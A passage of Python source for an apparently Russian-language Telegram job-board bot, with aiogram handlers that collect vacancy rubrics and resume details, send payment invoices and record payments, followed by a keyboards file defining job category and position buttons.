data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Разработка игр' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.game) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('game'), state=FormRub.position2) async def process_position_game(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Архитектура/Интерьер', state=FormRub.tg_id) async def process_rubric_ah(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Архитектура/Интерьер' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.arh) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('arh'), state=FormRub.position2) async def process_position_arh(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[4:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Инжиниринг', state=FormRub.tg_id) async def process_rubric_ig(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Инжиниринг' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.ig) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('ig'), state=FormRub.position2) async def process_position_ig(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[3:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Аутсорсинг и консалдинг', state=FormRub.tg_id) async def process_rubric_at(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Аутсорсинг и консалдинг' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.source) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('source'), state=FormRub.position2) async def process_position_source(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[7:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Обучение и консультации', state=FormRub.tg_id) async def process_rubric_edu(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Обучение и консультации' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.edu) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('edu'), state=FormRub.position2) async def process_position_edu(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[4:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Сети и инфосистемы', state=FormRub.tg_id) async def process_rubric_info(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Сети и инфосистемы' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.info) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('info'), state=FormRub.position2) async def process_position_info(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Мобильные приложения', state=FormRub.tg_id) async def process_rubric_mbo(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Мобильные приложения' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.apps) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('apps'), state=FormRub.position2) async def process_position_apps(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') # Обработка резюме @bot.callback_query_handler(lambda c: c.data == 'resume') async def process_callback_resume(callback_query: types.CallbackQuery): await dp.answer_callback_query(callback_query.id) await dp.send_message(callback_query.from_user.id, 'К сожалению, мы генерируем только одну страницу под Ваше резюме, ' 'поэтому если Вы собирались сделать их несколько, ' 'то уместите в одном резюме, как можно больше информации.') await FormResume.position.set() await dp.send_message(callback_query.from_user.id, "<b>Укажите желаемую должность</b>\n" "Чем конкретнее, тем лучше, например: 'Бухгалтер', 'Менеджер по закупкам'", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.position) async def process_position(message: types.Message, state: FSMContext): async with state.proxy() as data: data['position'] = message.text await FormResume.next() # m = Resume( # tg_id=tg_id # ) # m.save() await dp.send_message(message.from_user.id, "<b>Укажите контактные данные</b>", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.contacts) async def process_contacts(message: types.Message, state: FSMContext): async with state.proxy() as data: data['contacts'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Сколько желаете зарабатывать?</b>\n" "Укажите сумму, которую вы хотите получать, и аббревиатуру валюты", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.money) async def process_money(message: types.Message, state: FSMContext): async with state.proxy() as data: data['money'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Опишите опыт работы</b>\n" "Коротко и по сути опишите опыт работы. Начинать стоит с последнего места работы," " а заканчивать — первым. Если на профессиональном пути вам приходилось работать совсем" " не по той специальности, на которую вы претендуете, эту информацию можно пропустить.\n" "Очень важно лаконично описать, что именно входило в ваши обязанности и " "каких высот вы достигли. Не обязательно использовать сложные конструкции." " Опишите по минимуму, своими словами, что делали, чем занимались, что внедрили и осуществили" " на предыдущей работе. Не забудьте о своих достижениях!", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.experience) async def process_experience(message: types.Message, state: FSMContext): async with state.proxy() as data: data['experience'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Расскажите про образование</b>\n" "Основное образование указывается либо в обратном хронологическом порядке, " "либо в порядке важности. " "Опишите также и дополнительное образование, если оно пересекается с тем, " "чем вам предстоит заниматься на новой работе.\n" "Пример:\n" "Санкт-Петербургский государственный торгово-экономический институт (2008-2012)", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.education) async def process_education(message: types.Message, state: FSMContext): async with state.proxy() as data: data['education'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Укажите профессиональные навыки</b>\n" "Пример:\n" "Опыт продаж (4 года в оптовом отделе),\n" "Навыки управления персоналом (коллективы до 30 человек)", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.skills) async def process_skills(message: types.Message, state: FSMContext): async with state.proxy() as data: data['skills'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Внесите дополнительную информацию</b>\n" "Сюда можно внести прочую информацию, важную для желаемой должности. Не повторяйте те навыки " "о которых вы уже упоминали.\n" "Пример:\n" "Энергичность и коммуникабельность помогают мне проводить эффективные презентации товара;\n" "Усидчива и внимательна, поэтому сохраняю высокую производительность труда.", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.info) async def process_info(message: types.Message, state: FSMContext): async with state.proxy() as data: data['info'] = message.text await FormResume.next() await dp.send_message(message.from_user.id, "<b>Ссылка на ваше портфолио</b>\n" "Соберите в одном месте всё ваше портфолио и пришлите ссылку на него.", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=FormResume.portfolio_url) async def process_portfolio_url(message: types.Message, state: FSMContext): async with state.proxy() as data: data['portfolio_url'] = message.text await FormResume.next() async with state.proxy() as data: data['tg_id'] = message.chat.id await dp.send_invoice(message.chat.id, title='Размещение резюме', description='Оплата за размещение резюме - 2000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'работодателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_resume, start_parameter='time-machine-example', payload='its payload') await testing.save_resume(data['tg_id'], data['position'], data['contacts'], data['money'], data['experience'], data['education'], data['skills'], data['info'], data['portfolio_url']) await state.finish() @bot.pre_checkout_query_handler(lambda query: True) async def checkout(pre_checkout_query: types.PreCheckoutQuery): await dp.answer_pre_checkout_query(pre_checkout_query.id, ok=True, error_message="Инопланетяне попытались украсть ваш CVV," " но мы успешно защитили вас," " попробуйте оплатить через несколько минут, " "нам нужен небольшой отдых.") @bot.message_handler(content_types=ContentTypes.SUCCESSFUL_PAYMENT) async def got_payment(message: types.Message): await dp.send_message(message.chat.id, 'Спасибо за оплату! Эти деньги сразу отправятся на продвижение канала, чтобы ' 'еще больше работадателей узнали о вашем предложении.', parse_mode='Markdown') await testing.payed_update(message.from_user.id) executor.start_polling(bot, skip_updates=True) # if __name__ == '__main__': # executor.start_polling(bot, skip_updates=True) --- FILE SEPARATOR --- from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton # Кнопка назад inline_btn_1 = InlineKeyboardButton('Назад', callback_data='button_back') back = InlineKeyboardMarkup().add(inline_btn_1) inline_kb_full = InlineKeyboardMarkup(row_width=1) # Кнопка для размещения вакансии inline_btn_2 = InlineKeyboardButton('🕵️‍♂️ Разместить вакансию', callback_data='vacancy') # Кнопка для связи inline_btn_4 = InlineKeyboardButton('📞 Связаться с администартором', callback_data='admin') # Кнопка для размещения резюме inline_btn_3 = InlineKeyboardButton('📄 Разместить резюме', callback_data='resume') inline_kb_full.add(inline_btn_3, inline_btn_2, inline_btn_4) back2 = InlineKeyboardButton('Отмена', callback_data='back2') back_add = InlineKeyboardMarkup().add(back2) # Кнопки рубрик markup = InlineKeyboardMarkup(row_width=1) inline_btn_5 = InlineKeyboardButton('Тексты', callback_data='Тексты') inline_btn_6 = InlineKeyboardButton('Дизайн/Арт', callback_data='Дизайн/Арт') inline_btn_7 = InlineKeyboardButton('Реклама и маркетинг', callback_data='Реклама и маркетинг') inline_btn_8 = InlineKeyboardButton('Полиграфия', callback_data='Полиграфия') inline_btn_9 = InlineKeyboardButton('Разработка сайтов', callback_data='Разработка сайтов') inline_btn_10 = InlineKeyboardButton('Программирование', callback_data='Программирование') inline_btn_11 = InlineKeyboardButton('Telegram', callback_data='Telegram') inline_btn_12 = InlineKeyboardButton('Менеджмент', callback_data='Менеджмент') inline_btn_13 = InlineKeyboardButton('Оптимизация (SEO)', callback_data='Оптимизация (SEO)') inline_btn_14 = InlineKeyboardButton('Фотография', callback_data='Фотография') inline_btn_15 = InlineKeyboardButton('Аудио/Видео', callback_data='Аудио/Видео') inline_btn_16 = InlineKeyboardButton('Переводы', callback_data='Переводы') inline_btn_17 = InlineKeyboardButton('3D Графика', callback_data='3D Графика') inline_btn_18 = InlineKeyboardButton('Анимация и флеш', callback_data='Анимация и флеш') inline_btn_19 = InlineKeyboardButton('Разработка игр', callback_data='Разработка игр') inline_btn_20 = InlineKeyboardButton('Архитектура/Интерьер', callback_data='Архитектура/Интерьер') inline_btn_21 = InlineKeyboardButton('Инжиниринг', callback_data='Инжиниринг') inline_btn_22 = InlineKeyboardButton('Аутсорсинг и консалдинг', callback_data='Аутсорсинг и консалдинг') inline_btn_23 = InlineKeyboardButton('Обучение и консультации', callback_data='Обучение и консультации') inline_btn_24 = InlineKeyboardButton('Сети и инфосистемы', callback_data='Сети и инфосистемы') inline_btn_25 = InlineKeyboardButton('Мобильные приложения', callback_data='Мобильные приложения') markup.add(inline_btn_5, inline_btn_6, inline_btn_7, inline_btn_8, inline_btn_9, inline_btn_10, inline_btn_11, inline_btn_12, inline_btn_13, inline_btn_14, inline_btn_15, inline_btn_16, inline_btn_17, inline_btn_18, inline_btn_19, inline_btn_20, inline_btn_21, inline_btn_22, inline_btn_23, inline_btn_24, inline_btn_25) # Кнопки для текстов texts_btn = InlineKeyboardMarkup(row_width=1) texts_btn_1 = InlineKeyboardButton('Копирайтинг', callback_data='text_Копирайтинг') texts_btn_2 = InlineKeyboardButton('Редактирование/Корректура', callback_data='text_Редактирование/Корректура') texts_btn_3 = InlineKeyboardButton('Расшифровка аудио и видео', callback_data='text_Расшифровка аудио и видео') texts_btn_4 = InlineKeyboardButton('Рерайтинг', callback_data='text_Рерайтинг') texts_btn_5 = InlineKeyboardButton('Контент-менеджер', callback_data='text_Контент-менеджер') texts_btn_6 = InlineKeyboardButton('Статьи', callback_data='text_Статьи') texts_btn_7 = InlineKeyboardButton('Сканирование и распознование', callback_data='text_Сканирование и распознование') texts_btn_8 = InlineKeyboardButton('Рефераты/Курсовые/Дипломы', callback_data='text_Рефераты/Курсовые/Дипломы') texts_btn_9 = InlineKeyboardButton('Постинг', callback_data='text_Постинг') texts_btn_10 = InlineKeyboardButton('Стихи/Поэмы/Эссе', callback_data='text_Стихи/Поэмы/Эссе') texts_btn_11 = InlineKeyboardButton('Тексты/Речи/Рапорты', callback_data='text_Тексты/Речи/Рапорты') texts_btn_12 = InlineKeyboardButton('Тексты на иностарнных языках', callback_data='text_Тексты на иностарнных языках') texts_btn_13 = InlineKeyboardButton('Создание субтитров', callback_data='text_Создание субтитров') texts_btn_14 = InlineKeyboardButton('Сценарии', callback_data='text_Сценарии') texts_btn_15 = InlineKeyboardButton('Слоганы/Нейминг', callback_data='text_Слоганы/Нейминг') texts_btn_16 = InlineKeyboardButton('Новости/Пресс-релизы', callback_data='text_Новости/Пресс-релизы') texts_btn_17 = InlineKeyboardButton('Резюме', callback_data='text_Резюме') texts_btn_18 = InlineKeyboardButton('ТЗ/Help/Мануал', callback_data='text_ТЗ/Help/Мануал') back_rubric = InlineKeyboardButton('⬅️ Назад', callback_data='back_rubric') texts_btn.add( texts_btn_1, texts_btn_2, texts_btn_3, texts_btn_4, texts_btn_5, texts_btn_6, texts_btn_7, texts_btn_8, texts_btn_9, texts_btn_10, texts_btn_11, texts_btn_12, texts_btn_13, texts_btn_14, texts_btn_15, texts_btn_16, texts_btn_17, texts_btn_18, back_rubric ) design = InlineKeyboardMarkup(row_width=1) design_sites = InlineKeyboardButton('Дизайн сайтов', callback_data='design Дизайн сайтов') logo = InlineKeyboardButton('Логотипы', callback_data='design_Логотипы') draw = InlineKeyboardButton('Рисунки и иллюстрации', callback_data='design Рисунки и иллюстрации') poligraph_design = InlineKeyboardButton('Полиграфический дизайн', callback_data='design_Полиграфический дизайн') interier = InlineKeyboardButton('Интерьеры', callback_data='design_Интерьеры') banner = InlineKeyboardButton('Баннеры', callback_data='design_Баннеры') vector = InlineKeyboardButton('Векторная графика', callback_data='design_Векторная графика') firm_style = InlineKeyboardButton('Фирменный стиль', callback_data='design Фирменный стиль') hero_2d = InlineKeyboardButton('2D Персонажи', callback_data='design_2D Персонажи') presents = InlineKeyboardButton('Презентации', callback_data='design_Презентации') animation_2d = InlineKeyboardButton('2D Анимация', callback_data='design_2D Анимация') design_pack = InlineKeyboardButton('Дизайн упаковки', callback_data='design_Дизайн упаковки') lifedraw = InlineKeyboardButton('Живопись', callback_data='design_Живопись') open_ad = InlineKeyboardButton('Наружная реклама', callback_data='design_Наружная реклама') landscape = InlineKeyboardButton('Ландшафтный дизайн/Генплан', callback_data='design_Ландшафтный дизайн/Генплан') hand_made = InlineKeyboardButton('Хенд-мейд', callback_data='design_Хенд-мейд') illistr_3d = InlineKeyboardButton('3D Иллюстрации', callback_data='design_3D Иллюстрации') icons = InlineKeyboardButton('Иконки', callback_data='design_Иконки') design_apps = InlineKeyboardButton('Дизайн интерфейсов приложений', callback_data='design_Дизайн интерфейсов приложений') interface = InlineKeyboardButton('Интерфейсы', callback_data='design_Интерфейсы') hero_3d = InlineKeyboardButton('3D Персонажи', callback_data='design_3D Персонажи') clo_design = InlineKeyboardButton('Трикотажный и текстильный дизайн', callback_data='design_Трикотажный и текстильный дизайн') concept_art = InlineKeyboardButton('Концепт-арт', callback_data='design_Концепт-арт') prom_design = InlineKeyboardButton('Промышленный дизайн', callback_data='design_Промышленный дизайн') pixel_art = InlineKeyboardButton('Пиксел-арт', callback_data='design_Пиксел-арт') tehnic_design = InlineKeyboardButton('Технический дизайнер', callback_data='design_Технический дизайнер') comics = InlineKeyboardButton('Комиксы', callback_data='design_Комиксы') graffiti = InlineKeyboardButton('Граффити', callback_data='design_Граффити') inograph = InlineKeyboardButton('Инографика', callback_data='design_Инографика') design_stands = InlineKeyboardButton('Дизайн выставочных стендов', callback_data='design_Дизайн выставочных стендов') cart_graph = InlineKeyboardButton('Картография', callback_data='design_Картография') fonts = InlineKeyboardButton('Разработка шрифтов', callback_data='design_Разработка шрифтов') design_stitch = InlineKeyboardButton('Дизайнер машинной вышивки', callback_data='design_Дизайнер машинной вышивки') airograph = InlineKeyboardButton('Аэрография', callback_data='design_Аэрография') design.add( design_sites, logo, draw, poligraph_design, poligraph_design, interier, banner, vector, firm_style, hero_2d, presents, animation_2d, design_pack, lifedraw, open_ad, landscape, hand_made, illistr_3d, icons, design_apps, interface, hero_3d, clo_design, concept_art, prom_design, pixel_art, tehnic_design, comics, graffiti, inograph, design_stands, cart_graph, fonts, design_stitch, airograph, back_rubric ) # Кнопки для рекламы и маркетинга ad = InlineKeyboardMarkup(row_width=1) ad_1 = InlineKeyboardButton('SMM', callback_data='ad SMM') ad_2 = InlineKeyboardButton('Контекстная реклама', callback_data='ad Контекстная реклама') ad_3 = InlineKeyboardButton('Сбор и обработка информации', callback_data='ad Сбор и обработка информации') ad_4 = InlineKeyboardButton('Продажи и генерация лидов', callback_data='ad Продажи и генерация лидов') ad_5 = InlineKeyboardButton('Креатив', callback_data='ad Креатив') ad_6 = InlineKeyboardButton('PR-менеджмент', callback_data='ad PR-менеджмент') ad_7 = InlineKeyboardButton('Рекламные концепции', callback_data='ad Рекламные концепции') ad_8 = InlineKeyboardButton('Телемаркетинг', callback_data='ad Телемаркетинг') ad_9 = InlineKeyboardButton('Исследования рынка и опросы', callback_data='ad Исследования рынка и опросы') ad_10 = InlineKeyboardButton('SMO', callback_data='ad SMO') ad_11 = InlineKeyboardButton('Исследования', callback_data='ad Исследования') ad_12 = InlineKeyboardButton('Организация мероприятий', callback_data='ad Организация мероприятий') ad_13 = InlineKeyboardButton('Медиапланирование', callback_data='ad Медиапланирование') ad_14 = InlineKeyboardButton('Промо-персонал', callback_data='ad Промо-персонал') ad.add( ad_1, ad_2, ad_3, ad_4, ad_5, ad_6, ad_7, ad_8, ad_9, ad_10, ad_11, ad_12, ad_13, ad_14, back_rubric ) # Полиграфия pg = InlineKeyboardMarkup(row_width=1) pg_1 = InlineKeyboardButton('Полиграфический дизайн', callback_data='pg Полиграфический дизайн') pg_2 = InlineKeyboardButton('Дизайн упаковки', callback_data='pg Дизайн упаковки') pg_3 = InlineKeyboardButton('Полиграфическая верстка', callback_data='pg Полиграфическая верстка') pg_4 = InlineKeyboardButton('Допечатная подготовка', callback_data='pg Допечатная подготовка') pg_5 = InlineKeyboardButton('Верстка электронных изданий', callback_data='pg Верстка электронных изданий') pg_6 = InlineKeyboardButton('Разработка шрифтов', callback_data='pg Разработка шрифтов') pg.add( pg_1, pg_2, pg_3, pg_4, pg_5, pg_6, back_rubric ) sites = InlineKeyboardMarkup(row_width=1) sites_1 = InlineKeyboardButton('Веб-программирование', callback_data='site Веб-программирование') sites_2 = InlineKeyboardButton('Копирайтинг', callback_data='site Копирайтинг') sites_3 = InlineKeyboardButton('Дизайн сайтов', callback_data='site Дизайн сайтов') sites_4 = InlineKeyboardButton('Верстка', callback_data='site Верстка') sites_5 = InlineKeyboardButton('Сайт «под ключ»', callback_data='site Сайт «под ключ»') sites_6 = InlineKeyboardButton('Контент-менеджер', callback_data='site Контент-менеджер') sites_7 = InlineKeyboardButton('Менеджер проектов', callback_data='site Менеджер проектов') sites_8 = InlineKeyboardButton('Интернет-магазины', callback_data='site Интернет-магазины') sites_9 = InlineKeyboardButton('QA (тестирование)', callback_data='site QA (тестирование)') sites_10 = InlineKeyboardButton('Системы администирования (CMS)', callback_data='site Системы администирования (CMS)') sites_11 = InlineKeyboardButton('Доработка сайтов', callback_data='site Доработка сайтов') sites_12 = InlineKeyboardButton('Проектирование', callback_data='site Проектирование') sites_13 = InlineKeyboardButton('Юзабилити-анализ', callback_data='site Юзабилити-анализ') sites_14 = InlineKeyboardButton('Флеш-сайты', callback_data='site Флеш-сайты') sites_15 = InlineKeyboardButton('Wap/PDA-сайты', callback_data='site Wap/PDA-сайты') sites.add( sites_1, sites_2, sites_3, sites_4, sites_5, sites_6, sites_7, sites_8, sites_9, sites_10, sites_11, sites_12, sites_13, sites_14, sites_15, back_rubric ) # Кнопки для программирования program = InlineKeyboardMarkup(row_width=1) program_1 = InlineKeyboardButton('Веб-программирование', callback_data='program Веб-программирование') program_2 = InlineKeyboardButton('Прикладное программирование', callback_data='program Прикладное программирование') program_3 = InlineKeyboardButton('1С-программирование', callback_data='program 1С-программирование') program_4 = InlineKeyboardButton('QA (тестирование)', callback_data='program QA (тестирование)') program_5 = InlineKeyboardButton('Базы данных', callback_data='program Базы данных') program_6 = InlineKeyboardButton('Системный администратор', callback_data='program Системный администратор') program_7 = InlineKeyboardButton('Разработка игр', callback_data='program Разработка игр') program_8 = InlineKeyboardButton('Системное программирование', callback_data='program Системное программирование') program_9 = InlineKeyboardButton('Программирование для сотовых', callback_data='program Программирование для сотовых') program_10 = InlineKeyboardButton('Разработка CRM и EPR', callback_data='program Разработка CRM и EPR') program_11 = InlineKeyboardButton('Плагины/Сценарии/Утилиты', callback_data='program Плагины/Сценарии/Утилиты') program_12 = InlineKeyboardButton('Встраиваемые системы', callback_data='program Встраиваемые системы') program_13 = InlineKeyboardButton('Защита информации', callback_data='program Защита информации') program_14 = InlineKeyboardButton('Интерактивные приложения', callback_data='program Интерактивные приложения') program_15 = InlineKeyboardButton('Проектирование', callback_data='program Проектирование') program_16 = InlineKeyboardButton('Управление проектами разработки', callback_data='program Управление проектами') program_17 = InlineKeyboardButton('Макросы для игр', callback_data='program Макросы для игр') program.add( program_1, program_2, program_3, program_4, program_5, program_6, program_7, program_8, program_9, program_10, program_11, program_12, program_13, program_14, program_15, program_16, program_17, back_rubric ) tg = InlineKeyboardMarkup(row_width=1) tg_1 = InlineKeyboardButton('Рекламные тексты', callback_data='tg Рекламные тексты') tg_2 = InlineKeyboardButton('Ведение каналов', callback_data='tg Ведение каналов') tg_3 = InlineKeyboardButton('Продвижение', callback_data='tg Продвижение') tg_4 = InlineKeyboardButton('Разработка ботов', callback_data='tg Разработка ботов') tg_5 = InlineKeyboardButton('Консалтинг', callback_data='tg Консалтинг') tg_6 = InlineKeyboardButton('Разработка стикеров', callback_data='tg Разработка стикеров') tg.add( tg_1, tg_2, tg_3, tg_4, tg_5, tg_6, back_rubric ) # Кнопка для Менеджмент manage = InlineKeyboardMarkup(row_width=1) manage_1 = InlineKeyboardButton('Менеджер проектов', callback_data='manage Менеджер проектов') manage_2 = InlineKeyboardButton('Менеджер по продажам', callback_data='manage Менеджер по продажам') manage_3 = InlineKeyboardButton('Менеджер по персоналу', callback_data='manage Менеджер по персоналу') manage_4 = InlineKeyboardButton('Управление репутацией онлайн', callback_data='manage Управление репутацией онлайн') manage_5 = InlineKeyboardButton('Арт-директор', callback_data='manage Арт-директор') manage.add( manage_1, manage_2, manage_3, manage_4, manage_5, back_rubric ) # Кнопка для Оптимизация (SEO) seo = InlineKeyboardMarkup(row_width=1) seo_1 = InlineKeyboardButton('Контекстная реклама', callback_data='seo Контекстная реклама') seo_2 = InlineKeyboardButton('Поисковые системы', callback_data='seo Поисковые системы') seo_3 = InlineKeyboardButton('Контент', callback_data='seo Контент') seo_4 = InlineKeyboardButton('SMO', callback_data='seo SMO') seo_5 = InlineKeyboardButton('SEM', callback_data='seo SEM') seo_6 = InlineKeyboardButton('Продажа ссылок', callback_data='seo Продажа ссылок') seo.add( seo_1, seo_2, seo_3, seo_4, seo_5, seo_6, back_rubric ) # Кнопки 